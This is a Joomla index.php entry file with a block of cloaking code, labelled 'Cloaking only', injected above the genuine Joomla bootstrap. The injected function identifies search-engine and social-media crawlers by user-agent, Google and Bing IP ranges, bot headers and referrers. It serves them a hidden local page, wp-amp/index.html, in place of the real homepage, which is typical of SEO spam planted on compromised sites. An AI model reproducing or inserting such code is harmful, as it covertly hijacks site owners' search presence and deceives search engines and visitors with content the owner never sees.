/** * Cloaking only — local * Compatible: PHP 5.3+ */ function lwht1() { $ua = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''); $bots = array('googlebot','google','bingbot','slurp','duckduckbot','baiduspider', 'yandexbot','applebot','semrushbot','dotbot','mj12bot','ahrefsbot', 'facebookexternalhit','twitterbot','linkedinbot','whatsapp','telegram', 'discord','crawler','spider','bot','crawl','lighthouse','pagespeed', 'gtmetrix','pingdom','uptimerobot'); foreach ($bots as $b) { if (strpos($ua, $b) !== false) return true; } $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; $google_ranges = array('66.249.','66.102.','72.14.','74.125.','209.85.', '216.239.','64.233.','142.250.','142.251.','34.64.', '35.186.','35.187.','35.188.','35.189.','35.190.','35.191.'); foreach ($google_ranges as $r) { if (strpos($ip, $r) === 0) return true; } $bing_ranges = array('40.77.','157.55.','207.46.','13.66.','65.52.'); foreach ($bing_ranges as $r) { if (strpos($ip, $r) === 0) return true; } if (isset($_SERVER['HTTP_CF_BOT_MANAGEMENT'])) return true; if (isset($_SERVER['HTTP_REFERER'])) { $ref = strtolower($_SERVER['HTTP_REFERER']); $socials = array('facebook.com','twitter.com','google.','bing.com', 'instagram.com','telegram.org','discord.com','reddit.com'); foreach ($socials as $s) { if (strpos($ref, $s) !== false) return true; } } if (isset($_GET['bot']) || isset($_GET['amp'])) return true; return false; } $_reqUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $uri = parse_url($_reqUri, PHP_URL_PATH); $isRoot = ($uri === '/' || $uri === '/index.php' || $uri === '/default.php'); $ampFile = __DIR__ . '/wp-amp/index.html'; if ($isRoot && lwht1() && file_exists($ampFile)) { readfile($ampFile); exit; } /** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message // Define the application's minimum supported PHP version as a constant so it can be referenced within the application. define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/includes/incompatible.html') ) ); } /** * Constant that is checked in included files to prevent direct access. * define() is used rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // Load global path definitions if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } require_once __DIR__ . '/includes/defines.php'; // Check the existence of an update-extraction config file if ( !empty($_GET['jautoupdate']) && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php') ) { // Load extraction script and... require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php'; // ... die die(); } // Run the application - All executable code should be triggered through this file require_once __DIR__ . '/includes/app.php';